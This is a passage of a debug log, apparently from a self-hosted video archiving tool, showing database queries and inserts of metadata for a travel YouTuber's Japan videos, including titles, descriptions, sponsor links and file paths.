\nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "64987e25-b0d3-4e98-8039-a29b96abc73e", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 00:57:49Z], ~U[2026-08-20 00:57:49Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 17:57:49.101 [debug] QUERY OK source="sources" db=0.2ms idle=26.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:49.101 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:49.102 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129416] 17:57:49.102 [debug] Current batch of media processed. Will check again in 1000ms 17:57:50.102 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "duration" => 2331, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", "id" => "bjb-24XMa1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bjb-24XMa1g", "playlist_index" => 7, "timestamp" => 1779466243, "title" => "Travelling Across Japan To Poison Myself", "upload_date" => "20260522"} 17:57:50.103 [debug] QUERY OK source="sources" db=0.3ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:50.103 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:50.104 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 17:57:50.105 [debug] QUERY OK source="media_items" db=0.9ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "a749be91-37e1-43a0-9fb8-226990538ca4", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 00:57:50Z], ~U[2026-08-20 00:57:50Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 17:57:50.106 [debug] QUERY OK source="sources" db=0.2ms idle=30.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:50.106 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:50.106 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105295] 17:57:50.106 [debug] Current batch of media processed. Will check again in 1000ms 17:57:51.107 [debug] Current batch of media processed. Will check again in 1000ms 17:57:52.108 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2112, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", "id" => "CvIFRZqadIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CvIFRZqadIU", "playlist_index" => 8, "timestamp" => 1777040983, "title" => "Japan Is Losing Something It Can Never Get Back", "upload_date" => "20260424"} 17:57:52.109 [debug] QUERY OK source="sources" db=0.3ms idle=421.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:52.109 [debug] QUERY OK source="sources" db=0.2ms idle=421.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:52.110 [debug] QUERY OK source="media_items" db=0.3ms idle=422.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 17:57:52.111 [debug] QUERY OK source="media_items" db=1.1ms idle=422.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "6abe6cae-f252-4a9b-9353-6c8125dbab51", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 00:57:52Z], ~U[2026-08-20 00:57:52Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 17:57:52.112 [debug] QUERY OK source="sources" db=0.2ms idle=34.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:52.112 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:52.113 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18983] 17:57:52.113 [debug] Current batch of media processed. Will check again in 1000ms 17:57:53.114 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2747, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", "id" => "zrYwOAJrViI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrYwOAJrViI", "playlist_index" => 9, "timestamp" => 1775837543, "title" => "The Japan The Algorithm Is Hiding From You", "upload_date" => "20260410"} 17:57:53.115 [debug] QUERY OK source="sources" db=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:53.115 [debug] QUERY OK source="sources" db=0.2ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:53.116 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 17:57:53.117 [debug] QUERY OK source="media_items" db=1.1ms idle=1003.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "d6fee549-25b6-4af0-8dd8-b62da2a4598a", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 00:57:53Z], ~U[2026-08-20 00:57:53Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's 